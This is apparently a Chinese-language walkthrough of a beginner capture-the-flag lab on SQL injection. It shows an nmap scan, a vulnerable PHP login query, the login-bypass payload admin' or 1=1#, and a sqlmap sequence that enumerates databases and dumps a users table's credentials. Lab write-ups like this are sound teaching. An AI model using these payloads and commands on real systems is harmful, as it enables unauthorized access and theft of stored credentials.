⚔ 🧱 YOU NEED TO WALK BEFORE YOU CAN RUN 🧱⚔
先放答案
因为这期问题都比较简单,简单到我想不到讲什么把它们串到一起,索性就直接放答案了
Structured Query Language
SQL Injection
personally identifiable information
A03:2021-Injection
Apache httpd 2.4.38 ((Debian))
443
brute-forcing
directory
404
dir
#
日常扫描,用一下上期学到的 -sV ,一个 web 站点
┌──(root💀kali)-[~]
└─# nmap -sV -v 10.129.94.47
80/tcp open http Apache httpd 2.4.38 ((Debian))
万能密码注入
SQL 注入这个东西我们在 pikachu 靶场里已经接触过了 👉 基于pikachu的漏洞学习(二)SQL 打开网站,一个登录框
尝试弱口令 admin/admin 失败,可以尝试万能密码注入
copy 一下登录的语句(之前 php 商城的登录语句,一般通用),这里并不需要有返回点,我们的目的是绕过登录判断
$query = "SELECT * FROM users WHERE `uemail`='$email' AND `upassword`='$pwd'";
$result = mysql_query($query);
构造语句
admin' or 1=1#
burp 抓包改一下
登录成功
sqlmap post 注入
sqlmap 是 sql 注入自动化神器,咱们今天只学一个,就是 post 的注入
保存我们的请求包为 sql.txt
测试是否存在注入
测试一下是否存在注入,-r 指定文件 -p 指定要测试的参数
┌──(root💀kali)-[~/document]
└─# sqlmap -r sql.txt -p username
查数据库
结果显示可以使用 time-based blind 时间盲注,查询数据库,使用 --dbs 参数
┌──(root💀kali)-[~/document]
└─# sqlmap -r sql.txt -p username --dbs
也是非常给力的,查询到两个数据库,时间盲注手工测试比较费时,建议用工具替代
查表
查询一下有什么表,information 表太多了,就看 appdb 的吧,使用 --tables参数,-D 指定数据库
┌──(root💀kali)-[~/document]
└─# sqlmap -r sql.txt -p username -D appdb --tables
查列
查看有什么列,使用 --columns 参数,使用 -T 指定表
┌──(root💀kali)-[~/document]
└─# sqlmap -r sql.txt -p username -D appdb -T users --columns
这个过程它的 Type 也是通过延时注入判断的
查数据
查看具体的数据使用 --dump,哦,这就是传说中的脱裤吧,-C 指定列名
┌──(root💀kali)-[~/document]
└─# sqlmap -r sql.txt -p username -D appdb -T users -C "password,username" --dump
查询到两个账号
我们尝试登录,成功!可以看到 flag
填入 flag ,pwn!